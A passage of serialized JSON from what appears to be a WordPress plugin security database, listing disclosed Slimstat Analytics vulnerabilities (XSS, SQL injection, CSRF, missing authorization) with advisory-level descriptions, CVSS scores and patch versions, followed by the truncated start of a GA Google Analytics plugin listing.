19:56:02",[204],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F07c0f5a5-3455-4f06-b481-f4d678309c50?source=api-prod",134,[],{"id":208,"url_slug":209,"title":210,"description":211,"plugin_slug":4,"theme_slug":39,"affected_versions":197,"patched_in_version":198,"severity":70,"cvss_score":184,"cvss_vector":185,"vuln_type":45,"published_date":212,"updated_date":202,"references":213,"days_to_patch":215,"patch_diff_files":216,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-4597","slimstat-analytics-authenticated-contributor-stored-cross-site-scripting-via-shortcode","Slimstat Analytics \u003C= 5.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode","The Slimstat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slimstat' shortcode in versions up to, and including, 5.0.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","2023-08-28 00:00:00",[214],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F52aee4b8-f494-4eeb-8357-71ce8d5bc656?source=api-prod",148,[],{"id":218,"url_slug":219,"title":220,"description":221,"plugin_slug":4,"theme_slug":39,"affected_versions":222,"patched_in_version":223,"severity":70,"cvss_score":224,"cvss_vector":225,"vuln_type":45,"published_date":226,"updated_date":202,"references":227,"days_to_patch":229,"patch_diff_files":230,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-40676","slimstat-analytics-authenticated-administrator-stored-cross-site-scripting-via-settings","Slimstat Analytics \u003C= 5.0.8 - Authenticated (Administrator+) Stored Cross-Site Scripting via settings","The Slimstat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 5.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only impacts multi-site installations and installations where unfiltered_html has been disabled.","\u003C=5.0.8","5.0.9",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2023-08-22 00:00:00",[228],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F3c14a863-2aed-4f65-a0e3-eb73e485ce85?source=api-prod",154,[],{"id":232,"url_slug":233,"title":234,"description":235,"plugin_slug":4,"theme_slug":39,"affected_versions":236,"patched_in_version":237,"severity":70,"cvss_score":238,"cvss_vector":239,"vuln_type":240,"published_date":226,"updated_date":202,"references":241,"days_to_patch":229,"patch_diff_files":243,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-33994","slimstat-analytics-missing-authorization-via-deletepageview","Slimstat Analytics \u003C= 5.0.5.1 - Missing Authorization via delete_pageview","The Slimstat Analytics plugin for WordPress is vulnerable to unauthorized PageView Deletion due to a missing capability check on the delete_pageview function in versions up to, and including, 5.0.5.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete PageViews.","\u003C=5.0.5.1","5.0.6",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization",[242],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcbb8501e-7e8b-4ed6-8792-c685a69de982?source=api-prod",[],{"id":245,"url_slug":246,"title":247,"description":248,"plugin_slug":4,"theme_slug":39,"affected_versions":249,"patched_in_version":250,"severity":42,"cvss_score":43,"cvss_vector":251,"vuln_type":73,"published_date":252,"updated_date":202,"references":253,"days_to_patch":255,"patch_diff_files":256,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2022-45373","slimstat-analytics-authenticated-administrator-sql-injection","Slimstat Analytics \u003C= 5.0.4 - Authenticated (Administrator+) SQL Injection","The Slimstat Analytics plugin for WordPress is vulnerable to SQL Injection via the 'misc[limit_results]' parameter in versions up to, and including, 5.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=5.0.4","5.0.5","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","2023-05-11 00:00:00",[254],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6334b02e-ffab-49f9-969b-d015c2babc29?source=api-prod",257,[],{"id":258,"url_slug":259,"title":260,"description":261,"plugin_slug":4,"theme_slug":39,"affected_versions":249,"patched_in_version":250,"severity":70,"cvss_score":97,"cvss_vector":98,"vuln_type":45,"published_date":252,"updated_date":202,"references":262,"days_to_patch":255,"patch_diff_files":264,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2022-45366","slimstat-analytics-reflected-cross-site-scripting-2","Slimstat Analytics \u003C= 5.0.4 - Reflected Cross-Site Scripting","The Slimstat Analytics plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 5.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",[263],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F875c6474-5bf3-4556-b529-299cd2f65afe?source=api-prod",[],{"id":266,"url_slug":267,"title":268,"description":269,"plugin_slug":4,"theme_slug":39,"affected_versions":270,"patched_in_version":271,"severity":42,"cvss_score":199,"cvss_vector":200,"vuln_type":73,"published_date":272,"updated_date":202,"references":273,"days_to_patch":275,"patch_diff_files":276,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"WF-af075ffe-553a-4351-a696-5c678788f3b9-wp-slimstat","slimstat-analytics-authenticated-subscriber-sql-injection-via-shortcode","Slimstat Analytics \u003C= 4.9.3.3 - Authenticated (Subscriber+) SQL Injection via Shortcode","The Slimstat Analytics plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode(s) in versions up to, and including, 4.9.3.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with subscriber-level permissions, and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=4.9.3.3","4.9.3.4","2023-03-30 00:00:00",[274],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Faf075ffe-553a-4351-a696-5c678788f3b9?source=api-prod",299,[],{"id":278,"url_slug":279,"title":280,"description":281,"plugin_slug":4,"theme_slug":39,"affected_versions":282,"patched_in_version":283,"severity":42,"cvss_score":199,"cvss_vector":200,"vuln_type":73,"published_date":284,"updated_date":202,"references":285,"days_to_patch":287,"patch_diff_files":288,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-0630","slimstat-analytics-authenticated-subscriber-sql-injection-via-shortcode-2","Slimstat Analytics \u003C= 4.9.3.2 - Authenticated (Subscriber+) SQL Injection via Shortcode","The Slimstat Analytics plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode(s) in versions up to, and including, 4.9.3.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers with subscriber-level permissions, and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=4.9.3.2","4.9.3.3","2023-02-23 00:00:00",[286],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffce15e1c-e2eb-4bd9-8b07-78d87a6ae1cc?source=api-prod",334,[],{"id":290,"url_slug":291,"title":292,"description":293,"plugin_slug":4,"theme_slug":39,"affected_versions":294,"patched_in_version":295,"severity":42,"cvss_score":43,"cvss_vector":44,"vuln_type":45,"published_date":296,"updated_date":202,"references":297,"days_to_patch":299,"patch_diff_files":300,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2022-4310","slimstat-analytics-unauthenticated-stored-cross-site-scripting","Slimstat Analytics \u003C= 4.9.2 - Unauthenticated Stored Cross-Site Scripting","The Slimstat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via REQUEST_URI in versions up to, and including, 4.9.2 due to insufficient input sanitization and output escaping when logging visitor requests. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administratoruser views those logs.","\u003C=4.9.2","4.9.3","2022-12-19 00:00:00",[298],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F1f533dbd-4dd0-48ec-b083-e6284acab067?source=api-prod",400,[],{"id":302,"url_slug":303,"title":304,"description":305,"plugin_slug":4,"theme_slug":39,"affected_versions":294,"patched_in_version":295,"severity":70,"cvss_score":97,"cvss_vector":98,"vuln_type":45,"published_date":306,"updated_date":202,"references":307,"days_to_patch":309,"patch_diff_files":310,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"WF-9933ca13-32fd-4481-a18f-21e9a11c423c-wp-slimstat","slimstat-analytics-reflected-cross-site-scripting-via-requesturi","Slimstat Analytics \u003C= 4.9.2 - Reflected Cross-Site Scripting via REQUEST_URI","The Slimstat Analytics plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘$_SERVER['REQUEST_URI']’ parameter in versions up to, and including, 4.9.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. This only works in older browsers.","2022-12-12 00:00:00",[308],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9933ca13-32fd-4481-a18f-21e9a11c423c?source=api-prod",407,[],{"id":312,"url_slug":313,"title":314,"description":315,"plugin_slug":4,"theme_slug":39,"affected_versions":316,"patched_in_version":317,"severity":42,"cvss_score":199,"cvss_vector":318,"vuln_type":319,"published_date":320,"updated_date":202,"references":321,"days_to_patch":323,"patch_diff_files":324,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"WF-f87e78c5-e7f4-4af6-b64f-444fef23e890-wp-slimstat","slimstat-analytics-cross-site-request-forgery-to-stored-cross-site-scripting","Slimstat Analytics \u003C= 4.8.3 - Cross-Site Request Forgery to Stored Cross-Site Scripting","The Slimstat Analytics plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 4.8.3. This is due to missing or incorrect nonce validation on the update_settings function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute in a victim's browser via forged request granted they can trick a site administrator into performing an action such as clicking on a link.","\u003C4.8.4","4.8.4","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Cross-Site Request Forgery (CSRF)","2019-05-22 00:00:00",[322],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff87e78c5-e7f4-4af6-b64f-444fef23e890?source=api-prod",1707,[],{"id":326,"url_slug":327,"title":328,"description":329,"plugin_slug":4,"theme_slug":39,"affected_versions":330,"patched_in_version":331,"severity":70,"cvss_score":97,"cvss_vector":98,"vuln_type":45,"published_date":332,"updated_date":202,"references":333,"days_to_patch":335,"patch_diff_files":336,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2019-15112","wp-slimstat-unauthenticated-stored-cross-site-scripting-from-visitors","WP Slimstat \u003C= 4.8 - Unauthenticated Stored Cross-Site Scripting from Visitors","The wp-slimstat plugin before 4.8.1 for WordPress has XSS.","\u003C=4.8","4.8.1","2019-05-21 00:00:00",[334],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7fd8277c-b096-4cee-bd13-fcb8c8b00ca0?source=api-prod",1708,[],{"id":338,"url_slug":339,"title":340,"description":341,"plugin_slug":4,"theme_slug":39,"affected_versions":342,"patched_in_version":343,"severity":70,"cvss_score":97,"cvss_vector":98,"vuln_type":45,"published_date":344,"updated_date":202,"references":345,"days_to_patch":347,"patch_diff_files":348,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2015-9273","slimstat-analytics-cross-site-scripting","Slimstat Analytics \u003C 4.1.6.1 - Cross-Site Scripting","The wp-slimstat (aka Slimstat Analytics) plugin before 4.1.6.1 for WordPress has XSS via an HTTP Referer header, or via a field associated with JavaScript-based Referer tracking.","\u003C4.1.6.1","4.1.6.1","2015-07-22 00:00:00",[346],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F046526ef-3db9-47e4-b454-472def7935e6?source=api-prod",3107,[],{"id":350,"url_slug":351,"title":352,"description":353,"plugin_slug":4,"theme_slug":39,"affected_versions":354,"patched_in_version":355,"severity":42,"cvss_score":356,"cvss_vector":357,"vuln_type":73,"published_date":358,"updated_date":202,"references":359,"days_to_patch":361,"patch_diff_files":362,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"WF-e2c11005-dcb3-40b3-863a-0612132acb08-wp-slimstat","slimstat-analytics-unauthenticated-blind-sql-injection","Slimstat Analytics \u003C 3.9.6 - Unauthenticated Blind SQL Injection","The Slimstat Analytics plugin for WordPress is vulnerable to blind SQL Injection via the ‘_data’ parameter in versions before 3.9.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C3.9.6","3.9.6",8.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:L\u002FA:N","2015-02-24 00:00:00",[360],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe2c11005-dcb3-40b3-863a-0612132acb08?source=api-prod",3255,[],{"id":364,"url_slug":365,"title":366,"description":367,"plugin_slug":4,"theme_slug":39,"affected_versions":368,"patched_in_version":369,"severity":70,"cvss_score":97,"cvss_vector":98,"vuln_type":45,"published_date":370,"updated_date":202,"references":371,"days_to_patch":373,"patch_diff_files":374,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2014-100027","slimstat-analytics-stored-cross-site-scripting","Slimstat Analytics \u003C= 3.5.5 - Stored Cross-Site Scripting","The Slimstat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via a URL in versions up to, and including, 3.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C3.5.6","3.5.6","2015-01-13 00:00:00",[372],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F915d73ed-33ae-4580-9a51-aa4e9a015ff6?source=api-prod",3297,[],{"id":376,"url_slug":377,"title":378,"description":379,"plugin_slug":4,"theme_slug":39,"affected_versions":380,"patched_in_version":381,"severity":70,"cvss_score":97,"cvss_vector":98,"vuln_type":45,"published_date":382,"updated_date":202,"references":383,"days_to_patch":385,"patch_diff_files":386,"patch_trac_url":39,"research_status":39,"research_verified":54,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2015-1204","slimstat-analytics-cross-site-scripting-2","Slimstat Analytics \u003C= 3.9.2 - Cross-Site Scripting","Cross-site scripting (XSS) vulnerability in the Save Filters functionality in the WP Slimstat plugin before 3.9.3 for WordPress allows remote attackers to inject arbitrary web script or HTML via the fs[resource] parameter in the wp-slim-view-2 page to wp-admin\u002Fadmin.php.","\u003C3.9.3","3.9.3","2015-01-06 00:00:00",[384],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd1e30342-143d-4ea3-9947-b5e5c55725a7?source=api-prod",3304,[],{"slug":388,"display_name":7,"profile_url":8,"plugin_count":389,"total_installs":390,"avg_security_score":391,"avg_patch_time_days":392,"trust_score":393,"computed_at":394},"veronalabs",4,688000,86,908,69,"2026-05-19T21:15:24.423Z",[396,418,441,463,484],{"slug":397,"name":398,"version":399,"author":400,"author_profile":401,"description":402,"short_description":403,"active_installs":404,"downloaded":405,"rating":406,"num_ratings":407,"last_updated":408,"tested_up_to":409,"requires_at_least":410,"requires_php":411,"tags":412,"homepage":415,"download_link":416,"security_score":417,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"ga-google-analytics","GA Google Analytics – Connect Google Analytics to WordPress","20260209","Jeff Starr","https:\u002F\u002Fprofiles.wordpress.org\u002Fspecialk\u002F","\u003Cblockquote>\n\u003Cp>✨ Connects Google Analytics to WordPress\u003Cbr \u002F>\n  ✨ Easily add Google Analytics 4 to your web pages\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.\u003C\u002Fp>\n\u003Ch3>🔥 Enable Google Analytics 4\u003C\u002Fh3>\n\u003Cp>Steps to enable Google Analytics 4:\u003C\u002Fp>\n\u003Col>\n\u003Cli>Follow \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F9304153\" rel=\"nofollow ugc\">this guide\u003C\u002Fa> to create a GA4 account\u003C\u002Fli>\n\u003Cli>During account creation, you’ll get a tracking (measurement) ID\u003C\u002Fli>\n\u003Cli>Add your new tracking ID to the plugin setting, “GA Tracking ID”\u003C\u002Fli>\n\u003Cli>Select “GA4” for the plugin setting, “Tracking Method”\u003C\u002Fli>\n\u003C\u002Fol>\n\u003Cp>Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.\u003C\u002Fp>\n\u003Ch3>🔥 GA Tracking Options\u003C\u002Fh3>\n\u003Cp>Here are the tracking methods available with this plugin:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F10089681\" rel=\"nofollow ugc\">GA4\u003C\u002Fa> \u002F Google Analytics 4 (default)\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F11583528\" rel=\"nofollow ugc\">Universal Analytics\u003C\u002Fa> (deprecated)\u003C\u002Fli>\n\u003Cli>Legacy Tracking (deprecated)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong> GA4 is recommended. Google has deprecated\u002Fdisabled all other tracking options.\u003C\u002Fp>\n\u003Ch3>🔥 GA Feature Support\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Supports \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F9304153\" rel=\"nofollow ugc\">Google Analytics 4\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Supports \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F2444872\" rel=\"nofollow ugc\">Display Advertising\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Supports \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F7377126\" rel=\"nofollow ugc\">Enhanced Link Attribution\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Supports \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F2763052\" rel=\"nofollow ugc\">IP Anonymization\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Supports \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F6385009\" rel=\"nofollow ugc\">Force SSL\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Supports \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F12979939\" rel=\"nofollow ugc\">Google Optimize\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Supports \u003Ca href=\"https:\u002F\u002Fsupport.google.com\u002Fanalytics\u002Fanswer\u002F14275483\" rel=\"nofollow ugc\">Consent Signals\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Supports Tracker Objects (Universal Analytics)\u003C\u002Fli>\n\u003Cli>Supports User Opt-Out (Universal Analytics)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Also supports tracking links and conversions via the Custom Code setting. Learn more about \u003Ca href=\"https:\u002F\u002Fwww.google.com\u002Fanalytics\u002F\" rel=\"nofollow ugc\">Google Analytics\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>🔥 General Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Blazing fast performance\u003C\u002Fli>\n\u003Cli>Does one thing and does it well\u003C\u002Fli>\n\u003Cli>Drop-dead simple and easy to use\u003C\u002Fli>\n\u003Cli>Regularly updated and “future proof”\u003C\u002Fli>\n\u003Cli>Stays current with the latest tracking code\u003C\u002Fli>\n\u003Cli>Includes tracking code in header or footer\u003C\u002Fli>\n\u003Cli>Includes tracking code on all WordPress web pages\u003C\u002Fli>\n\u003Cli>Includes option to add your own custom markup\u003C\u002Fli>\n\u003Cli>Sleek plugin Settings page with toggling panels\u003C\u002Fli>\n\u003Cli>Option to disable tracking of admin-level users\u003C\u002Fli>\n\u003Cli>Option to enable page tracking in the Admin Area\u003C\u002Fli>\n\u003Cli>Works with or without Gutenberg Block Editor\u003C\u002Fli>\n\u003Cli>Easy to customize the tracking code\u003C\u002Fli>\n\u003Cli>More features available in the \u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fga-google-analytics-pro\u002F\" rel=\"nofollow ugc\">Pro version&nbsp;&raquo;\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.\u003C\u002Fp>\n\u003Ch3>🔥 Pro Version\u003C\u002Fh3>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fga-google-analytics-pro\u002F\" rel=\"nofollow ugc\">GA Google Analytics Pro\u003C\u002Fa> includes the same features as the free version, PLUS the following:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Visitor Opt-Out Box (frontend UI)\u003C\u002Fli>\n\u003Cli>Configure multiple tracking codes\u003C\u002Fli>\n\u003Cli>Live Preview of all tracking codes\u003C\u002Fli>\n\u003Cli>Choose location of multiple tracking codes\u003C\u002Fli>\n\u003Cli>Supports Custom Code in header or footer\u003C\u002Fli>\n\u003Cli>Disable tracking of all logged-in users\u003C\u002Fli>\n\u003Cli>Disable Tracking for any Post IDs, User Roles, Post Types\u003C\u002Fli>\n\u003Cli>Disable Tracking for Search Results and Post Archives\u003C\u002Fli>\n\u003Cli>Display Opt-Out Box automatically or via shortcode\u003C\u002Fli>\n\u003Cli>Complete Inline Help\u002FDocumentation\u003C\u002Fli>\n\u003Cli>Priority plugin help and 